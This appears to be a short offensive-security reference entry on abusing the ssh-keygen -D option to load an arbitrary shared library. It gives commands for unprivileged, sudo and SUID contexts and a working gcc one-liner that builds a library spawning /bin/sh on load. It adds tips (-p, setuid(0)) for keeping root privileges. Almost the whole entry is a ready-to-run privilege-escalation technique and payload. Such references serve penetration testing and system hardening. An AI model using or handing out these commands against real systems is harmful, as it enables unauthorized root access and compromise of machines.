ssh-keygen

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.
  1. CommentThe shared library must contain the void C_GetFunctionList() {} function.
    This function can be performed by any unprivileged user.
    ssh-keygen -D /path/to/lib.so
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ssh-keygen -D /path/to/lib.so
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    ssh-keygen -D /path/to/lib.so
    Payload

    As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:

    echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
        | gcc -w -fPIC -shared -o lib.so -x c -
    

    Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.